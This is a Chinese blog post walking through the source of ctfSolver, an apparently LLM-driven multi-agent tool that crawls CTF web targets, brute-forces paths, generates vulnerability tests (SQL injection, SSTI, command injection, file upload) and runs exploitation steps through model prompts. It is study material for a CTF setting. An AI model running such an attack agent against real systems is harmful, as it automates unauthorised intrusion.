ctfSolver源码解析:多智能体协同的AI驱动CTF自动化攻防系统
深入剖析ctfSolver的Multi-Agent架构、LLM协同机制与可扩展工具链设计
ctfSolver 源码阅读
1. 前言:为什么读这个项目
因为学校的课程需要做一个AI+渗透的项目,感觉从头做不太现实,所以要找一些现成的工具去二次开发。当时看到了这个项目在腾讯智能渗透中成绩比较好,所以起初选择了这个项目。虽然最后没有用到,但是这里也记录一下对这个项目源码的阅读和分析过程。
2. 系统架构概览
ctfSolver 还是用了经典的 Client-Server 架构,不过它在 Client 端引入了一套复杂的 Multi-Agent 协作模式。
2.1 整体拓扑
这套系统主要就分两块。一块是 Server 端,负责分发任务、监控状态和展示结果。另一块是 Agent 端,负责执行具体任务并与目标靶机进行交互。
2.2 Agent 内部架构
Agent 端是一个分工明确的系统。FlagHunter 负责统筹全局,管理任务的生命周期。Explorer 负责爬取网站、分析 JS 和提取 API。Scanner 是扫描器,负责调度漏洞检测任务。Solutioner 利用大模型生成漏洞检测的思路。最后 Actioner 负责执行具体的攻击 Payload,与大模型配合进行后利用。
graph TD
Server[后端服务] <-->|HTTP API| AgentManager
subgraph Agent System
AgentManager[Agent管理器] <--> FlagHunter[FlagHunter]
FlagHunter -->|调度| Explorer[Explorer]
FlagHunter -->|调度| Scanner[Scanner 扫描器]
Scanner -->|获取思路| Solutioner[Solutioner]
Solutioner <-->|Prompt| LLM[大语言模型]
Scanner -->|并发执行| Actioner[Actioner]
Actioner <-->|XML协议| LLM
Actioner -->|执行工具| Executor[Executor 执行器]
Explorer -->|爬取| Target[目标靶机]
Actioner -->|攻击| Target
end3. 核心模块源码深度解析
接下来分析这些模块的实现细节。以下是核心代码块。
3.1 FlagHunter (agent/flaghunter.py)
FlagHunter 是整个 Agent 的核心组件。它负责初始化任务环境,并且维护着两个核心循环:explorer_page 用于探索,detect_page 用于检测。
3.1.1 初始化与环境准备
在初始化阶段,FlagHunter 会为每个任务创建一个唯一的 UUID 目录,用来存放过程中产生的各种数据。
class FlagHunter():
def __init__(self, url, description):
self.url = url
self.description = description
config.CTF_URL = self.url
config.CTF_DESC = f"目标URL:{self.url}\n目标描述:{self.description}"
self.tasks = {} # 所有action
self.current_tasks = [] # 当前深度的action
self.depth = 0
self.task_id = str(uuid.uuid4())
config.TASK_ID = self.task_id
self.task_path = str(os.path.join(os.path.dirname(os.path.abspath(__file__)), f"tasks/{self.task_id}"))
self.task_page_path = f"{self.task_path}/pages/"
if not os.path.exists(self.task_page_path):
os.makedirs(self.task_page_path)
self.key_file = f"{self.task_path}/key.txt"
self.key_simple_file = f"{self.task_path}/key-simple.txt"
self.vuln_file = f"{self.task_path}/vuln.txt"
self.xray_result_file = f"{self.task_path}/result.json"
self.explorer_pages = []
self.detect_pages = []
self.vuln_pages = []
if not os.path.exists(self.key_file):
open(self.key_file, "w").close()
if not os.path.exists(self.key_simple_file):
open(self.key_simple_file, "w").close()
if not os.path.exists(self.vuln_file):
with open(self.vuln_file, "w") as f:
f.write('')3.1.2 生产者模型:explorer_page
FlagHunter 采用了异步的生产者-消费者模型。explorer_page 方法作为生产者,持续发现新页面。
async def explorer_page(self):
try:
# 发送开始探索页面的消息(running状态)
explore_message = None
pages = [{'name':'初始页面'}]
discovered_pages = [] # 用于收集发现的页面
while pages:
new_pages = []
# if self.vuln_pages and self.explorer_pages == self.detect_pages:
# # 根据漏洞重新探索
# logger.info("发现漏洞,重新进行页面探索")
# if agent_manager.current_task_id:
# agent_manager.send_pure_message_with_status(
# agent_manager.current_task_id,
# "🔄 发现漏洞,重新进行页面探索",
# "finish"
# )
# for i in range(len(self.vuln_pages)):
# self.vuln_pages[i]['vuln'] = True
# pages.extend(self.vuln_pages)
# self.vuln_pages = []
for pp in pages:
explore_message = agent_manager.send_pure_message_with_status(
agent_manager.current_task_id,
f"🔍 开始探索页面: {pp['name']}",
"running"
)
session_id = explore_message['id']
try:
step_pages = explore_page(pp, key=open(self.key_file, "r").read(), vuln=open(self.vuln_file, "r").read(), session_id=session_id)
except Exception as e:
traceback.print_exc()
break
for p in step_pages:
logger.info(f"探索到新页面:{p['name']} {p['response']['url']} ,线索:{p['key']}")
if p["key"]:
with open(self.key_simple_file, "a+") as f:
f.write(str(p['name']) + f" {p['response']['url']} 发现线索:" + str(p['key']) + "\n")
with open(self.key_file, "a+") as f:
f.write(str(p['name']) + f" 请求:{p['request']} 发现线索:" + str(p['key']) + "\n")
page_path = f"{self.task_page_path}/{p['name']}.json"
p['path'] = page_path
if os.path.exists(page_path):
page_path = f"{self.task_page_path}/{p['name']}-{uuid.uuid4()}.json"
with open(page_path, "w") as pf:
pf.write(json.dumps(p))
if "path" in pp:
if not page_helper.get_parent_page(p['id']):
page_helper.insert_page_parent(pp['path'], p['id'])
# 向服务器报告发现的页面
if agent_manager.current_task_id:
page_data = {
"name": p['name'],
"request": json.dumps(p.get('request', {})),
"response": json.dumps(p.get('response', {})),
"description": p.get('description', ''),
"key": p.get('key', '')
}
# 直接调用同步方法,不使用await
created_page = agent_manager.create_page(agent_manager.current_task_id, page_data)
# 收集页面信息用于发送页面消息
page_info = {
"page_id": created_page.get('id', str(uuid.uuid4())) if created_page else str(uuid.uuid4()),
"url": p['response'].get('url', ''),
"status": p['response'].get('status', 200),
"responseTime": p['response'].get('response_time', 0),
"pageType": p.get('name', ''),
"description": p.get('description', '') or p.get('key', '')
}
discovered_pages.append(page_info)
agent_manager.update_pure_message_status(
explore_message.get('id'),
"finish",
f"✅ {pp['name']} 页面探索完成,共发现 {len(step_pages)} 个新页面"
)
new_pages.extend(step_pages)
self.explorer_pages.extend(step_pages)
# 更新全局页面列表供心跳使用
config.EXPLORED_PAGES = [p['id'] for p in self.explorer_pages]
# 如果发现了新页面,发送页面消息
if discovered_pages and agent_manager.current_task_id:
agent_manager.send_page_message(
agent_manager.current_task_id,
discovered_pages,
f"📄 发现 {len(discovered_pages)} 个新页面"
)
discovered_pages = [] # 清空已发送的页面
pages = new_pages
await asyncio.sleep(1)
for p in self.explorer_pages:
if not p['id'] in config.EXPLORED_PAGES:
pages.append(p)
if config.FLAG:
break
except Exception as e:
traceback.print_exc()
raise e3.1.3 消费者模型:detect_page
detect_page 方法则是消费者,专门对新发现的页面进行漏洞扫描。
async def detect_page(self):
# 发送开始漏洞检测的消息(running状态)
detect_message = None
while True:
for p in self.explorer_pages:
vuln_count = 0
if not p in self.detect_pages:
if agent_manager.current_task_id:
detect_message = agent_manager.send_pure_message_with_status(
agent_manager.current_task_id,
f"🔍 开始对 {p['name']} 页面进行漏洞检测",
"running"
)
logger.info(f"检测页面:{p['name']}")
if p['response']['status'] not in config.IGNORE_STATUS_LIST:
vuln_count = 0
vuln_count += self.poc_scan(p)
if not config.FLAG or not config.NEED_FLAG:
vuln_count += self.llm_scan(p)
if vuln_count:
self.new_vuln = True
self.detect_pages.append(p)
# 漏洞检测完成,更新消息状态为finish
if detect_message and agent_manager.current_task_id:
agent_manager.update_pure_message_status(
detect_message.get('id'),
"finish",
f"✅ {p['name']}页面漏洞检测完成,发现{vuln_count}个漏洞"
)
if config.FLAG:
flagUtil.submit_flag()
await asyncio.sleep(1)3.2 通信基石:AgentManager (agent/utils/agent_manager.py)
AgentManager 封装了所有跟 Server 的交互。不管是注册、心跳还是发送各种消息,全靠它。
class AgentManager:
def __init__(self):
self.agent_id = None
self.heartbeat_thread = None
self.task_monitor_thread = None
self.is_running = True
self.last_heartbeat = None
self.start_time = datetime.now()
self.current_task_id = None
self.task_check_interval = 5 # 检查任务的间隔(秒)
def register_agent(self):
"""注册Agent到服务器"""
try:
# 获取主机信息
hostname = socket.gethostname()
platform_info = platform.platform()
agent_data = {
"name": f"{config.NAME}({config.API_MODEL_ACTION})",
"host": hostname,
"port": 0, # ctfSolver不需要监听端口
"status": "idle",
"capabilities": config.AGENT_CAPABILITIES,
"metadata": {
"hostname": hostname,
"platform": platform_info,
"start_time": self.start_time.isoformat(),
"python_version": platform.python_version(),
"version": config.AGENT_VERSION
}
}
response = requests.post(
f"{config.SERVER_URL}/api/agents/register",
json=agent_data,
timeout=10.0
)
if response.status_code in [200, 201]:
result = response.json()
if result.get("success"):
agent_info = result.get("data", {})
self.agent_id = agent_info.get("id")
config.AGENT_ID = self.agent_id
logger.info(f"Agent注册成功,ID: {self.agent_id}")
return True
else:
logger.error(f"Agent注册失败: {result.get('message', '未知错误')}")
return False
else:
logger.error(f"Agent注册失败: {response.status_code} - {response.text}")
return False
except Exception as e:
logger.error(f"Agent注册异常: {str(e)}")
return False
def send_heartbeat(self):
"""发送心跳包"""
if not self.agent_id:
logger.warning("Agent未注册,无法发送心跳")
return False
try:
heartbeat_data = {
"status": config.AGENT_STATUS,
"metadata": {
"last_seen": datetime.now().isoformat(),
"current_task": self.current_task_id,
"uptime": str(datetime.now() - self.start_time),
"explored_pages": len(getattr(config, 'EXPLORED_PAGES', []))
}
}
response = requests.post(
f"{config.SERVER_URL}/api/agents/{self.agent_id}/heartbeat",
json=heartbeat_data,
timeout=5.0
)
if response.status_code == 200:
result = response.json()
if result.get("success"):
self.last_heartbeat = datetime.now()
logger.debug(f"心跳发送成功: {self.agent_id}")
return True
else:
logger.warning(f"心跳发送失败: {result.get('message', '未知错误')}")
return False
else:
logger.warning(f"心跳发送失败: {response.status_code}")
return False
except Exception as e:
logger.error(f"心跳发送异常: {str(e)}")
return False
def send_message(self, task_id, message_type, content, metadata=None, status="completed"):
"""发送消息到后端"""
if not task_id:
return {"id": str(uuid.uuid4())}
try:
message_data = {
"session_id": task_id, # 使用task_id作为session_id
"role": "assistant", # AI助手角色
"content": content,
"type": message_type, # pure, solution, page, summary等
"status": status
}
if metadata:
message_data["metadata"] = metadata
response = requests.post(
f"{config.SERVER_URL}/api/messages",
json=message_data,
timeout=10.0
)
if response.status_code in [200, 201]:
result = response.json()
if result.get("success"):
logger.info(f"消息发送成功: {message_type} - {content[:50]}...")
return result.get("data")
else:
logger.warning(f"消息发送失败: {result.get('message', '未知错误')}")
return None
else:
logger.warning(f"消息发送失败: {response.status_code} {response.text}")
return None
except Exception as e:
logger.error(f"发送消息异常: {str(e)}")
return None3.3 Explorer (agent/agents/explorer.py)
Explorer 负责对页面进行深度解析。它会利用多线程去猜路径,还会用大模型去分析 JS 和页面内容。
3.3.1 路径猜测
def guess_path(url):
logger.info("对初始url进行常见路径探测")
path_payload = config.get_payload("path")
root_url = urllib3.util.parse_url(url)
root_url = f"{root_url.scheme}://{root_url.host}:{root_url.port}" if root_url.port else f"{root_url.scheme}://{root_url.host}"
all_pages = []
# 创建线程池进行并发请求
def check_path(p):
url = f"{root_url}{p}"
request_json = {"method":"OPTIONS", "url": url}
result = request.run(request_json)
if result['status'] == 200 or result['status'] == 405:
if len(result['content']) == 0 or result['status'] == 405:
result = request.run({"method":"GET", "url": url})
if result['status'] in [404, 403] or result['content'] == 0:
return
logger.info(f"发现新路径:{url}")
return result['history']
return []
# 使用concurrent.futures而不是asyncio来处理并发
with ThreadPoolExecutor(max_workers=20) as executor:
futures = []
# 提交所有任务到线程池
for p in path_payload:
future = executor.submit(check_path, p)
futures.append(future)
# 获取所有结果
for future in futures:
try:
pages = future.result()
all_pages.extend(pages)
except Exception as e:
logger.error(f"检查路径时发生错误: {str(e)}")
continue
return all_pages3.3.2 页面探索与 LLM 交互
prompt_template = """
你是一个网页使用专家,你可以根据已有的信息和网站功能进行网页的浏览与探索,你需要在一个回答里把所有需要探索的网页都探索完成。
你需要集中于获取更多网页交互请求,即需要进行以下操作:
1. 你需要尽可能地使用当前已经获取到的关键信息,比如收集到的用户名和密码需要尽可能使用,不要自己直接构造,注意不要爆破参数,每个参数只需要测试最可能的值即可;
2. 你需要访问所有原页面的url和api接口,保证所有新页面都要访问到,关键信息中可能提示的参数也需要使用,当你构造POST请求参数时需要严格按照页面表单中的参数构造
3. {page_desc}
4. 使用xml格式返回响应
5. 如果没有当前页面则为初始请求,访问系统url即可
6. 不要访问登出功能,不要访问css和图像,不要通过猜测路径获取新页面,如果所有已知的路径均访问完成,返回"任务已完成"即可
7. 如果是修改用户信息(包括密码)请求,请将修改后的信息和原信息设置为一样,避免篡改信息
8. 对于工具请求的构造,value由多个xml子标签构成,如果xml子标签中的值出现特殊字符,使用<![CDATA[
你需要返回的调用网络请求工具格式如下:
<step>
<tool>request</tool>
{request_desc}
</step>
说明:
* tool:从工具库中获取到的工具执行结果
* value:工具需要传入的参数,根据工具说明中的参数模版给出
一个完整的响应如下:
1)关键信息中发现了xxx/xxx;
2)我现在看到的是一个登陆页面
3)我可以采用登陆请求策略来探索更多路径
4)对于登陆请求策略,该页面显示,登陆的api端点为/xxx,我需要对 http://xx.xx.xx/xxx发起请求
5)我已经收集到了信息:xxx,我需要使用该信息进一步探索
6)我将构造如下响应发送请求:
<step>
xxx
</step>
<step>
xxx
</step>
...
系统url:
{CTF_URL}
"""
def explore_page(page, key, vuln, session_id):
"""
探索页面
:param page: 页面
:return: 动作
"""
if not page.get("request"):
add_message("访问提供的初始url", session_id)
else:
js_info = explore_all_js(page)
js_info = "\\n".join([f"js文件url:{url}\\n该js中的接口说明:{info}" for url, info in js_info.items()])
add_message(message.format(url=page.get("response", "")['url'], response=page.get("response", "")['content'], key=key, vuln=vuln, js_info=js_info), session_id=session_id)
if 'vuln' in page:
page_desc = "尽可能多的访问新网页或对api发送网络请求,当前页面存在漏洞,必须使用已经探测到的漏洞信息进行更多页面的发现,不可以更改载荷"
else:
page_desc = "尽可能多的访问新网页或对api发送网络请求,只能发送正常请求参数,不可以进行漏洞探测,不可以发送任何危险参数"
prompt = prompt_template.format(CTF_URL=config.CTF_URL, page_desc=page_desc, request_desc=config.get_addon("request"))
response = chat(prompt, session_id)
# print(response)
response_xml = re.findall("(<step>.*?</step>)", response, re.DOTALL)
step_count = 0
new_pages = []
wrong_page = []
flag = False
if not page.get("request"):
all_pages = guess_path(config.CTF_URL)
for new_page in all_pages:
flag = True
new_page = add_page(new_page)
if new_page:
new_pages.append(new_page)
new_page_info = f"url:{new_page['response']['url']} header:{new_page['response']['header']} response:{new_page['response']['content']} 关键线索:{new_page['key']}"
add_message(f"爆破路径访问到页面:{new_page_info}", session_id)
stop_flag = False
while response_xml:
if config.FLAG:
break
explore_pages = []
for step_xml in response_xml:
try:
step = xmltodict.parse(step_xml)['step']
tool_name = step['tool']
value = step['value']
# 提取URL路径部分(去除查询参数)来检查扩展名
url_path = value['url'].split('?')[0].split('#')[0]
if any(url_path.endswith(ext) for ext in black_ext) or any(p in url_path for p in back_path):
continue
md5_request = md5((str(value)+config.TASK_ID).encode()).hexdigest()
if md5_request not in config.EXPLORED_PAGES:
config.EXPLORED_PAGES.append(md5_request)
result = execute_tool(tool_name, value)
pages = result['history']
for new_page in pages:
new_page = add_page(new_page)
if new_page:
flag = True
new_page_info = f"url:{new_page['response']['url']} header:{new_page['response']['header']} response:{new_page['response']['content']} 关键线索:{new_page['key']}"
new_pages.append(new_page)
explore_pages.append(new_page_info)
if new_page['response']['status'] in config.WRONG_STATUS_LIST:
wrong_page_info = f"访问出错页面:{new_page['name']} 请求体:{new_page['request']} 响应码:{new_page['response']['status']}"
add_message(f"上一轮访问出错的页面:{wrong_page_info}", session_id)
wrong_page.append(wrong_page_info)
else:
add_message(f"上一轮访问成功的页面:{new_page_info}", session_id)
except Exception as e:
print(e)
break
if not flag:
add_message("上一轮没有访问到有效页面", session_id)
step_count += 1
flag = False
if stop_flag:
break
if step_count > 4:
new_forms = []
for form_url in config.FORMS:
has_explored = any(form_url in explored for explored in config.EXPLORE_URLS)
if not has_explored:
new_forms.append(config.FORMS[form_url])
if new_forms:
add_message(form_message.format(forms="\\n".join([f['form'] for f in new_forms])), session_id)
stop_flag = True
config.FORMS = {}
else:
add_message("\\n请你:1. 修正访问出错的页面,如果是405错误,必须修改为更合适的方法重新访问,比如POST需要换为GET,注意提交的参数不要改变"
+ "2. 根据新的访问成功页面结合已有信息继续进行探索", session_id)
try:
response = chat(prompt, session_id)
response_xml = re.findall("(<step>.*?</step>)", response, re.DOTALL)
except Exception as e:
print(e)
break
return new_pages3.4 Scanner & Solutioner
Scanner 和 Solutioner 相互配合,Solutioner 负责生成思路,Scanner 负责并发验证。
3.4.1 生成思路:Solutioner
prompt = """
你是一个ctf题目解决者,你需要根据当前请求与响应包和历史获取的关键信息来生成漏洞检测的思路。
你需要一步步推理与得出最终的检测思路,推理步骤如下:
1)这是一个什么请求,传入了哪些信息,获取了哪些信息
2)当前请求的哪些功能点可能存在漏洞
3)对于xx漏洞的基础测试载荷为xx,xx,xx;。。。。
4)对于这些漏洞生成xml格式的最终检测思路:
<solutions>
<solution>
<vuln>漏洞类型,为字母缩写,支持:IDOR(越权)、SSTI、XSS、SQLI、UPLOAD(文件上传漏洞)、LFI(本地文件包含)、CMD(命令注入)、OTHER</vuln>
<desc>利用方式的自然语言描述,不需要指明要检测的参数,也不可以描述载荷,概括性介绍利用方法即可</desc>
</solution>
...
</solutions>
...
"""
def get_solutions(page, key, session_id):
"""
漏洞扫描
:param page: 页面信息
:return: 漏洞检测思路
"""
# 构建提示词
# 调用OpenAI API获取回复
add_message(message_template.format(key=key, request=page["request"], response=page["response"]), session_id=session_id)
response = chat(prompt.format(CTF_DESC=config.CTF_DESC), session_id=session_id)
logger.info(f"{page['name']} 获取漏洞检测思路:{response}")
# 解析漏洞检测思路
solutions = parse_solutions(response)
return solutions3.4.2 并发扫描:Scanner
def vuln_scan(page, key, simple_key, explorer_pages, task_id):
from utils.agent_manager import agent_manager
# 发送 pure 消息,开始获取漏洞检测思路(running状态)
solution_message = agent_manager.send_pure_message_with_status(
agent_manager.current_task_id,
content=f"🎯 开始获取 {page['name']} 页面的漏洞检测思路",
status="running"
)
session_id = solution_message.get('id')
try:
solutions = get_solutions(page, simple_key, session_id=session_id)
# 更新消息状态为获取漏洞检测思路完成
if solution_message:
agent_manager.update_pure_message_status(
solution_message.get('id'),
"finish",
f"✅ 获取 {page['name']} 页面漏洞检测思路完成,共 {len(solutions)} 种思路"
)
# 调用 agent_manager 发送漏洞检测思路消息
agent_manager.send_solution_message(agent_manager.current_task_id, solutions, content=f"📋 {page['name']} 页面漏洞检测思路")
all_results = []
vulns = task_helper.get_all_vulns(task_id)
# 创建线程池执行器
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
# 创建任务列表
future_to_solution = {
executor.submit(execute_solution, s, page, key, {str(uuid.uuid4()):explorer_pages[i] for i in range(len(explorer_pages))}, vulns): s
for s in solutions
}
# 获取执行结果
for future in concurrent.futures.as_completed(future_to_solution, timeout=3600):
s = future_to_solution[future]
try:
result = future.result(timeout=1200)
# vuln_result = f"是否存在漏洞:{result['vuln']} 是否需要深入利用:{result['needDeep']} 说明:{result['key']}"
logger.info(f"检测思路 【{s}】结果:{result}")
if result and 'result' in result and result['result']:
all_results.append(result['summary'])
if result['summary']['vuln'] == 'True':
sql_helper.SQLiteHelper.insert_record(
table='vulns',
data={
'id': str(uuid.uuid4()),
'task_id': task_id,
'vuln_type': result['summary']['vuln_type'],
'desc': result['summary']['desc'],
'request_json': json.dumps(result['request']),
}
)
except concurrent.futures.TimeoutError:
logger.error(f"检测思路 【{s}】执行超时 (1200秒)")
continue
except Exception as e:
traceback.print_exc()
logger.error(f"执行漏洞检测思路异常: {str(e)}")
# 如果有异常,更新执行消息为错误状态
continue
except concurrent.futures.TimeoutError:
logger.error(f"漏洞扫描整体执行超时 (3600秒)")
if solution_message:
agent_manager.update_pure_message_status(
solution_message.get('id'),
"error",
f"❌ {page['name']} 页面漏洞检测超时 (3600秒)"
)
except Exception as e:
traceback.print_exc()
logger.error(f"获取漏洞检测思路异常: {str(e)}")
# 如果获取漏洞检测思路失败,更新消息为错误状态
if solution_message:
agent_manager.update_pure_message_status(
solution_message.get('id'),
"error",
f"❌ 获取 {page['name']} 页面漏洞检测思路失败: {str(e)}"
)
raise e
return all_results3.5 Actioner (agent/agents/actioner.py)
Actioner 负责执行具体的攻击逻辑,它通过 XML 协议跟大模型进行交互。
def execute_solution(solution, page, key, explorer_pages, vuln_db):
try:
# vuln_db = [{'id': '0dc52cfd-22e1-454a-9c33-e0962e6cae0b', 'task_id': '03a02a6a-b3f7-46a4-81a2-afc151cd4301', 'vuln_type': 'UPLOAD', 'desc': '存在文件上传漏洞。上传的 PHP 文件可以被访问,但没有被正确解析为 PHP 代码。请求 URL 为 http://172.20.10.13:55226/posts/upload-article.php,请求方法为 POST,请求参数包括 name 和 email,上传文件参数名为 articleFile,文件内容为 【】,文件名为 test.php,文件类型为 text/plain。上传后的文件可以通过 http://172.20.10.13:55226/posts/uploads/test.php 访问。', 'request_json': {'url': 'http://172.20.10.13:55226/posts/upload-article.php', 'method': 'POST', 'header': {'User-Agent': 'python-requests/2.32.3', 'Accept-Encoding': 'gzip, deflate, zstd', 'Accept': '*/*', 'Connection': 'keep-alive'}, 'param': {'name': 'John Doe', 'email': 'john.doe@example.com'}, 'files': {'articleFile': ('example_article.txt', 'This is a sample article for testing purposes.', 'text/plain')}}}]
global knowledge_base
vuln = solution['vuln']
desc = solution['desc']
vuln_db_desc = "\\n".join([f\"{i['id']}: {i['desc']}\" for i in vuln_db])
# if vuln != "CMD":
# return {}
# 使用反射方法从vulns模块动态导入对应漏洞的检测prompt
detect_message = agent_manager.send_pure_message_with_status(
agent_manager.current_task_id,
content=f"⚡ 开始执行 {page['name']} 页面的漏洞检测思路 [{vuln}] ({desc})",
status="running"
)
solution_id = detect_message.get("id")
session_id = solution_id
try:
vuln_module = __import__(f"agents.vulns.{vuln}", fromlist=["simple_detect", "prompt_detect", "need_detect"])
except:
vuln = "OTHER"
vuln_module = __import__(f"agents.vulns.{vuln}", fromlist=["simple_detect", "prompt_detect", "need_detect"])
need_detect = getattr(vuln_module, "need_detect")
if not need_detect(page['request']):
vuln = "OTHER"
vuln_module = __import__(f"agents.vulns.{vuln}", fromlist=["simple_detect", "prompt_detect", "need_detect"])
# if detect_message:
# status_text = f"✅ {page['name']} 页面漏洞检测思路 [{vuln}] 不满足前置条件,跳过检测"
#
# agent_manager.update_pure_message_status(
# detect_message.get('id'),
# "finish",
# status_text
# )
# return {}
# vuln_module = __import__(f"agents.vulns.{vuln}", fromlist=["simple_detect", "prompt_detect", "need_detect"])
simple_detect = getattr(vuln_module, "simple_detect")
prompt_detect = getattr(vuln_module, "prompt_detect")
prompt = prompt_template.format(ctf_desc=config.CTF_DESC, request=page['request'], response=page['response'], vuln=vuln, prompt_detect=prompt_detect, request_desc=config.get_addon("request_vuln"), vuln_db_desc=vuln_db_desc, key=key)
except Exception as e:
traceback.print_exc()
return
try:
step_count = 0
all_results = []
# 导入chatbot模块以使用进程状态检查
from utils.chatbot import check_process_status
message = message_template.format(desc=desc, key=key)
if not session_id:
session_id = add_message(message)
else:
add_message(message, session_id)
while True:
step_count += 1
if (step_count > 30 and vuln == 'OTHER') or config.FLAG:
summary = {"vuln":"False", "findFlag":"False", "desc":"", "flag":""}
break
# 在每次循环开始前检查进程状态
check_process_status(session_id)
response = chat(prompt, session_id)
detect_xmls = re.findall(r'(<detect>.*?</detect>)', response, re.DOTALL)
tool_xmls = re.findall(r'(<tool>.*?</tool>)', response, re.DOTALL)
request_xmls = re.findall(r'(<request>.*?</request>)', response, re.DOTALL)
distinguish_xmls = re.findall(r'(<distinguish>.*?</distinguish>)', response, re.DOTALL)
summary_xml = re.search(r'(<summary>.*?</summary>)', response, re.DOTALL)
vuln_xml = re.search(r'(<info>.*?</info>)', response, re.DOTALL)
exploit_xml = re.search(r'(<exploit>.*?</exploit>)', response, re.DOTALL)
knowledge_xml = re.search(r'(<knowledge>.*?</knowledge>)', response, re.DOTALL)
page_xml = re.search(r'(<page>.*?</page>)', response, re.DOTALL)
if detect_xmls:
for detect_xml in detect_xmls:
param = xmltodict.parse(detect_xml)['detect']
result = simple_detect(json.loads(json.dumps(page['request'])), page['response'], param)
if not result:
add_message(f"上一轮检测试未发现漏洞,请继续测试或进行总结", session_id)
else:
all_results.extend(result)
add_message(f"上一轮检测发现漏洞:{result},请继续测试或进行总结", session_id)
elif vuln_xml:
vuln_id = xmltodict.parse(vuln_xml.group(1))['info']['id']
# vuln_db为列表,需要根据id查找
vuln_detail = next((i for i in vuln_db if i['id'] == vuln_id), None)
add_message(f"漏洞详情如下:{vuln_detail}", session_id)
elif exploit_xml:
exploit_id = xmltodict.parse(exploit_xml.group(1))['exploit']['id']
exploit_message = xmltodict.parse(exploit_xml.group(1))['exploit']['message']
# vuln_db为列表,需要根据id查找
exploit_detail = next((i for i in vuln_db if i['id'] == exploit_id), None)
exploit_result = vulner.exploit_vuln(exploit_detail['request'], exploit_detail['vuln_type'], exploit_detail['desc'], exploit_message)
add_message(f"漏洞利用结果如下:{exploit_result}", session_id)
elif tool_xmls:
for tool_xml in tool_xmls:
param = xmltodict.parse(tool_xml)['tool']
result = simple_detect(json.loads(json.dumps(page['request'])), page['response'], param)
if not type(result) == list:
result = [result]
add_message("工具调用结果如下:", session_id)
for r in result:
add_message(str(r), session_id)
if not result:
add_message("无有效调用结果", session_id)
elif request_xmls:
for request_xml in request_xmls:
try:
new_request = xmltodict.parse(request_xml)['request']['value']
new_request['history'] = False
result = execute_tool('request', new_request)
add_message("网络请求响应如下:" + str(result) + ",请继续探索或总结", session_id)
except Exception as e:
add_message(f"网络请求响应xml解析出错:{e},请重新构造", session_id)
elif distinguish_xmls:
for distinguish_xml in distinguish_xmls:
distinguish_result = distinguish.run(xmltodict.parse(distinguish_xml)['distinguish']['request1']['value'], xmltodict.parse(distinguish_xml)['distinguish']['request2']['value'])
add_message("对比结果如下:" + str(distinguish_result) + ",请继续探索或总结", session_id)
elif knowledge_xml:
knowledge_id = xmltodict.parse(knowledge_xml.group(1))['knowledge']['id']
knowledge = next((i for i in knowledge_base if i['id'] == knowledge_id), None)
if knowledge:
add_message("知识库内容如下:" + knowledge['all'], session_id)
else:
add_message("未找到有效知识库", session_id)
elif page_xml:
page_id = xmltodict.parse(page_xml.group(1))['page']['id']
new_page = next((explorer_pages[i] for i in explorer_pages if i == page_id), None)
if page:
add_message("页面详情如下:" + str(new_page), session_id)
else:
add_message("未找到有效页面", session_id)
elif summary_xml:
summary = xmltodict.parse(summary_xml.group(1))['summary']
if summary['vuln'] == 'True' and not all_results:
all_results = [f'存在{vuln}漏洞']
summary['vuln_type'] = vuln
summary['request'] = json.dumps(page['request'])
if "flag" in summary and summary['flag']:
flagUtil.set_flag(summary['flag'])
break
if (config.NEED_FLAG and summary['vuln'] == "True" and not "findFlag" in summary) or ("needDeep" in summary and summary['needDeep'] == 'True') or ( vuln =='OTHER' ):
add_message(need_flag_text.format(knowledge="\\n".join([f"{i['id']}: {i['desc']}" for i in knowledge_base]), pages="\\n".join([f"{i}: {explorer_pages[i]['name']} {explorer_pages[i]['key']}" for i in explorer_pages])), session_id)
else:
break
else:
add_message("未识别到有效指令,请重新输入", session_id)
# 执行完成,更新消息状态
if detect_message:
status_text = f"✅ {page['name']} 页面[{vuln}]漏洞检测思路执行完成"
if all_results:
status_text += ",存在漏洞"
if summary and summary.get("findFlag", "False") == 'True':
status_text += ",发现Flag!"
agent_manager.update_pure_message_status(
detect_message.get('id'),
"finish",
status_text
)
return {
"result": all_results,
"summary": summary,
"request": page['request']
}
except Exception as e:
traceback.print_exc()
print(e)4. 配置与工具定义系统
ctfSolver 之所以这么灵活,很大程度上得益于它那高度可配置的特性,还有那个用 XML 定义的工具协议。
4.1 全局配置 (config.py)
config.py 负责管理整个系统的运行环境、API 密钥、数据库路径,还有各种全局状态。
import os
import sqlite3
from utils.logger import logger
import uuid
import os
import random
API_KEYS = []
DEEPSEEK_API_URL = "https://api.deepseek.com"
DEEPSEEK_API_KEY = ""
DEEPSEEK_API_MODEL_ACTION = "deepseek-chat"
TENCENT_API_URL = "https://api.lkeap.cloud.tencent.com/v1"
TENCENT_API_KEY = ""
TENCENT_API_MODEL_ACTION = "deepseek-v3.1-terminus"
TENCENT_API_RANDOM_KEY = random.choice(API_KEYS)
SILCON_API_URL = "https://api.siliconflow.cn/v1"
SILCON_API_KEY = ""
SILCON_API_MODEL_ACTION = "Pro/deepseek-ai/DeepSeek-V3.1-Terminus"
# API配置
API_URL = "https://api.deepseek.com"
API_KEY = ""
API_MODEL_ACTION = "deepseek-chat"
CONTEST_API_TOKEN = ""
GLM_URL = "https://open.bigmodel.cn/api/paas/v4"
GLM_API_KEY = ""
GLM_MODEL = "glm-4-long"
NAME = "ctfSolver"
CHALLENGE_CODE = ""
# Server配置
SERVER_URL = "http://39.98.204.142:5000" # 后端服务器地址
AGENT_VERSION = "1.0.0" # Agent版本
HEARTBEAT_INTERVAL = 30 # 心跳间隔(秒)
AGENT_CAPABILITIES = ["web_scan", "vuln_detect", "flag_search", "page_explore"] # Agent能力
# SQLite数据库配置
BASE_PATH = str(os.path.dirname(os.path.abspath(__file__)))
DB_PATH = os.path.join(BASE_PATH, "chat.db")
INIT_SQL = os.path.join(BASE_PATH, "init.sql")
ADDON_README_PATH = os.path.join(BASE_PATH, "addons.txt")
TEMP_PATH = os.path.join(BASE_PATH, "temp/")
POC_PATH = os.path.join(BASE_PATH, "pocs/")
BASE_URL = "http://10.0.0.6:8000"
HUNTER = None
FORMS = {}
EXPLORE_URLS = []
# CTF任务配置
CTF_URL = ""
CTF_DESC = ""
TARGET = "" # 添加TARGET配置
DESCRIPTION = "" # 添加DESCRIPTION配置
TASK_PATH = os.path.join(os.path.dirname(BASE_PATH), "tasks") # 任务存储路径
MAX_COUNT = 4
KEY_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "key.txt")
ADDON_PATH = os.path.join(BASE_PATH, "addons/")
